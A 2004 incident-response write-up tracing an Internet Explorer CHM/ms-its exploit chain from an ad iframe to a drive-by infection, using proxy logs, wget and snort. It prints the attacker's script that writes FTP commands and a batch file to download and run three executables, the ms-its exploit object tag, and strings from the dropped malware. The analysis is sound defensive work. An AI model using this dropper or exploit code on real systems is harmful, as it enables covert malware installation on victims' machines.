Investigating CHM Exploits (before the IE patches!)

Back Home

Last Updated: Friday July 16, 2004

Michael Ligh (

This document is part of the Browser Attacks Anthology

Table of Contents

  1. Exploring CHM Exploits
  2. Is Guilty!
  3. References

i. Exploring CHM Exploits

A machine got infected by some nasty codes yesterday. The user noticed a command shell pop-up on her screen and start downloading files via ftp.

I wanted to start out by getting a copy of the executables downloaded via ftp, but was incredibly disappointed to find that the server at does not allow anonymous logins (there's a point for the hackers).

# wget
           => `install2.exe'
Resolving done.
Connecting to connected.
Logging in as anonymous ...
Login incorrect.

Luckily, our firewall logs shows the victim machine downloading the same files from two sources, so I see another way to get the files:

Jul  6 15:12:45 %PIX-6-303002:  x.x.1.175 Retrieved
Jul  6 15:12:46 %PIX-6-303002:  x.x.1.175 Retrieved
Jul  6 15:12:47 %PIX-6-303002:  x.x.1.175 Retrieved
Jul  6 15:22:58 %PIX-6-303002:  x.x.1.175 Retrieved
Jul  6 15:22:59 %PIX-6-303002:  x.x.1.175 Retrieved
Jul  6 15:23:00 %PIX-6-303002:  x.x.1.175 Retrieved

I tried a command line ftp client this time but, uh-oh, can't them this way either:

220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) []
530 Sorry, the maximum number of allowed clients (50) are already connected.

Two points for the hackers! I'll leave that alone for now and try to find out what username and password the machine used to login to the first server. The information had to have been downloaded somehow, probably through visiting a web page, which our proxy logs provide a comprehensive list. The proxy log for this host is about 3,000 lines but a quick look shaved the suspicious activity to post-2PM. That cut it down to about 1,557. Anyway, it's the content of the files and not the filenames we're concerned with so I wrote a little perl to feed each URL through a wget loop and then did some searching with grep and strings. It is pretty simple:

open( PROXY, "ftptroj.log.times.cut" ) or die "Cannot open proxy log: $!";
while (  ) {
        if ( /(http\:\/\/.*)\s/ ) {
                system( "/usr//bin/wget $1" );
close( PROXY );

Wget was able to retrieve 1498 of the 1557 files, the rest probably were dynamic links, but this should be enough to get a good idea of what happened.The two ftp IP addresses were nowhere to be found in the downloaded files, they must either be encoded in some way shape or form, or referred to by hostname. The next search for install2.exe came up positive (one point for me).

# find . -type f -exec grep -Hi "install2.exe" {} \;
./cgi-scripts/newobject1.cgi:wsh.Run('command /C echo get install2.exe>>o',false,6);

# cat cgi-scripts/newobject1.cgi
[object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'][/object]
wsh.Run('command /C echo open>o',false,6);
wsh.Run('command /C echo tmpacct>>o',false,6);
wsh.Run('command /C echo 12345>>o',false,6);
wsh.Run('command /C echo bin>>o',false,6);
wsh.Run('command /C echo get install2.exe>>o',false,6);
wsh.Run('command /C echo get CS4P028.exe>>o',false,6);
wsh.Run('command /C echo get silent.exe>>o',false,6);
wsh.Run('command /C echo bye>>o',false,6);
wsh.Run('command /C echo if not exist %windir%\statuslog ftp -s:o >o.bat',false,6);
wsh.Run('command /C echo if exist install2.exe install2.exe >>o.bat',false,6);
wsh.Run('command /C echo if exist CS4P028.exe CS4P028.exe >>o.bat',false,6);
wsh.Run('command /C echo if exist silent.exe silent.exe >>o.bat',false,6);
wsh.Run('command /C o.bat',false,6);
[script language=javascript]

Alrighty then. A lot going on here. First, the script (we'll deal with where it came from later) creates a file named 'o' and fills it with commands for an ftp client to execute. We can see the target server is Real quick, I bet that's where the IP addresses come from:

# host has address has address has address

Very good. Not surprising. The attacker has taken over at least 3 machines and assigned them a common CNAME record. That way, if one ever gets cleaned or something, he can just update DNS to point to another infected machine. If he put the actual IP in his code, it wouldn't be that easy. Anyway, the above file also contains the ftp login information we were searching for. The username is tmpacct and the password is 12345. Let's give it a whirl:

# wget ftp://tmpacct:12345@ -C off -m
Downloaded: 2,074,620 bytes in 16 files

# ls
0021-bdl84126.EXE  calsdr.exe      infamous_downloader.exe  silent.exe
0021-bdl94126.EXE  ClrSchP028.exe  install2.exe             solo180.exe
atiupdate5.exe     CS4P028.exe     newfile.exe              Tvm_B5_267.exe
bs5-nt15v.exe      index.html      pup.exe

Keep this in mind, (not that I would expect you to forget about something named infamous_downloader.exe) and look at what the rest of the script does. After filling 'o' with commands it creates a 'o.bat'€™ and executes it on the system. This is the point in time where the user at (sanitized) noticed the command shell popping up on screen. Unfortunately, since I have ADD, I'm not going to discuss what the executables contain yet, because I want to know how this all started. We found the critical code in a file named newobject1.cgi, so let's start there by looking for that file in the proxy logs:

# grep newobject ftptroj.log.times.cut
Tue Jul  6 15:12:04 2004  687  2185 x.x.1.175 TCP_MISS/200 1118 GET - DIRECT/ application/hta

Ok, we'€™re getting closer and now we know the exploit could have began as early as 3:12:04 PM. Then I did a search for the directory pattern in the files that were downloaded:

# find . -type f -exec grep -Hi "vu083003" {} \;

AHA! So far it all leads back to an html file named hp2.htm. What's in there?

[script type="text/javascript"]document.write('\u003c\u0074\u0065\u0078\u0074\u0061\u0072\...

Great, a 2200 byte file in Unicode. They have to make things difficult I guess. A little vi (:s%/\\u/}\\x{/g) and perl interpreted it all nicely. Here is contents of hp2.htm:

[textarea id="code" style="display:none;"]
[object data="ms-its:mhtml:file://C:\foo.mht!${PATH}/HP2.CHM::/hp2.htm" type="text/x-scriptlet"][/object]
[script language="javascript"]

Once again, not surprising. This exploit uses the same ms-its method to attack IE browsers as several others have recently used. It downloads an arbitrary CHM file and executes it with system privileges. To find out what really executes we have to decompile the CHM file. I'm not going to do that because 1) last time I did that my own machine got infected and 2) you can read it about it on the April 12 ISC Diary, [1]. Actually, on second thought, I am going to do it, but on a vmware machine at home. The file, named hp1.htm was decompiled and here is what it looks like:

var oPopup = window.createPopup();
function showPopup()
    oPopup.document.body.innerHTML = "[object data=]";,0,1,1,document.body);

The bulk of this file creates an object, downloads hp1.exe and overwrites the Windows Media Player executable on disk. There is plenty online about this exploit also, for reference see US-CERT TA04-099A, [2]. What I'm concerned with is the additional clue to how this all started. It was this hp2.htm file that forced the browser to request HP2.CHM and then execute it. That caused the downloading of hp1.htm and subsequently a popup that downloaded newobject1.cgi and various other cgi scripts. So, Back to the proxy logs, they show the exploit could have began as early as 3:09:43.

# grep -i hp2.htm ftptroj.log.times.cut
Tue Jul 6 15:09:43 2004 874 239 x.x.1.175 TCP_HIT/200 2445 GET - NONE/- text/html

Now, it would be easy enough to view the proxy logs by hand and see which sites the user visited within a few seconds of 3:09 PM, but my goal here was to determine the site of origin by following trails from the contents of other files (what we would have to do if the proxy log wasn't available). Unfortunately, nothing made references to the source IP ( OR hp/hp[1|2].htm. I took the easy way out and viewed the proxy log by hand ;-P

All looked fine and dandy until my eyes hit this file, accessed less than a second before hp2.htm:

Tue Jul 6 15:09:43 2004 475 15 x.x.1.175 TCP_HIT/200 991 GET - NONE/- text/html

The reason it stuck out was because everything else during those seconds looked like *.gif or *.jpg files from I tried to view the ff-FAI.html file that was downloaded in my wget loop earlier, but go figure, it is in Unicode. After converting it, the beginning of this exploit is almost in sight:

[A HREF= target=_blank][img src= WIDTH=468 HEIGHT=60 BORDER=0][/a]
[!-- HP2 --]
[iframe src="" width=1 height=1][/iframe]

The only other sites visited by the browser during a two second interval was and I found iframes and pointers to within asp pages downloaded from That appears to be how it started.

To recap, the browser visited, which via asp iframes code made the browser visit Content on directed the browser via popup or other method to, where ff-FAI.html was accessed. The Unicode was interpreted by IE browser and requested hp2.htm from hp2.htm contained an IE exploit and caused it to download HP2.CHM that when decompiled and opened in the browser, downloaded hp1.exe and hp1.htm. In addition it caused the browser to download some cgi files off in a pop up window. One of the cgi-files, namely newobject1.cgi contained code that wrote a bat file on hard disk and executed it on the local machine. The code was ftp commands to download 3 executables and then run them. Now that my ADD is satisfied I can show a little of what was in those 3 files, but not too much because it's getting late. Here are some interesting strings from the files:

:successfully read %ld bytes from input file '%s'.
error reading file, %ld bytes read, should be %ld.
Allocated %ld bytes for storing file.
error allocating %ld bytes for file.
OperatingSystem = '%s'
ComputerName = '%s'
ProgramFiles = '%s'
SystemDrive = '%s'
SystemRoot = '%s'
WinDir = '%s'
Tmp = '%s'
Temp = '%s'
Internet Connection_Available
Unknown connection type.
system's modem is busy with a non-Internet connection.
system uses a proxy server to connect to the Internet.
system uses a local area network to connect to the Internet.
system uses a modem to connect to the Internet.
Error %d opening Internet connection.
Successfully read %d bytes from URL '%s'.
ADMIN RIGHTS!!! - successfully created temp file '%s' in the '%s' directory.
Created GUID is '%s'.
Installation status URL is '%s'.
InstallID=&%s=%d %s?OS=%s&DSPW=%d&DSPH=%d&ADMIN=1&GUIDfound=%d&GUID=%s&PROMO=%d&LDR=%d&LDRstatus=%d&CTRL=%d Retrieving latest control set from '%s'. Install_Software Creating loader version registry entry %d. 
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects SOFTWARE\
Microsoft\Windows\CurrentVersion\Run ClrSchLoader Loader.exe Succesfully remove 
temporary DAT file '%s'. Successfully copied file '%s' to '%s'. Decompressed file 
size is %d bytes. %s: successfully decompressed file '%s' into '%s'. 

That's all for the analysis. The PC should be considered compromised and formatted. IE browser exploits are not going to go away easily. A patch was released by Microsoft to disable in IE over the weekend, which probably would have prevented the attack from progressing. Future detection and defense is being discussed among our group, but certainly anyone who desires may contribute their thoughts.

ii. Is Guilty

I take back what I said about thinking may not know how it is involved in the exploits; I think they're well aware of it. You can't download a wallpaper without taking a CHM file with you. See the attached screen shot of what appeared within 30 seconds of visiting the domain, when I clicked a thumbnail to download the larger image. It was also a good opportunity to try and figure out the REAL source of redirection to If you review below, is where the infected machine got ff-FAI.html which contained the Unicode iframe to the CHM files at has IP address so I started a packet capture on the gateway and visited owns the block of so I wanted to see anything toward that network:

sudo snort -dev -i eth0 host and net mask

Here is the packet we were waiting for:

GET /ff/ff-FAI.html HTTP/1.1..Accept: */*..Referer: affiliate=wallpapers&channel=fre6estyle&subchanne

Even if I, the user, did not know where my browser was directly before requesting ff-FAI.html, the browser itself knew, because it told the sever (see the referrer text in red). How my browser ended up at in the first place is simple and its written right on the homepage:

[iframe width=468 height=60 marginwidth=0 marginheight=0 frameborder=0 bordercolor=000000 scrolling=no src="

Check out this event from another machine:

Tue Jul  6 13:35:50 200 x.x..3.51 TCP_REFRESH_HIT/200 12124 GET - DIRECT/ text/plain
Tue Jul 6 13:35:47 2004 x.x.3.51 TCP_MISS/200 999 GET - DIRECT/ text/html

It downloaded the CHM exploit less than 3 seconds after a similar encounter with This time they didn't approach it from, but from A large number of other hosts also accessed in the past week but they didn't get infected. Likewise, a few hosts that did get infected from did not have any contact with first. My point is that 1) although we now know for sure how xxlocation01 and xxlocation02 got infected, others were exploited some other way and 2) something is preventing some machines from being exploited when they access the same content. It could be the browser (mozilla?), updated patches, browser security settings, or any combination of factors really.

The firewall and web filtering additions yesterday should be enough to prevent the described attacks. As for the attacks we can't describe and the new ones created a week from now, we'll do our best. . . Thanks to the people who gave suggestions yesterday.

iii. References

[1]. Internet Storm Center Diary 2004-04-12: Mailbag Malware Everywhere
[2]. US-CERT TA04-099A: Cross-domain Vulnerability in Oulook Express MHTML Protocol Handler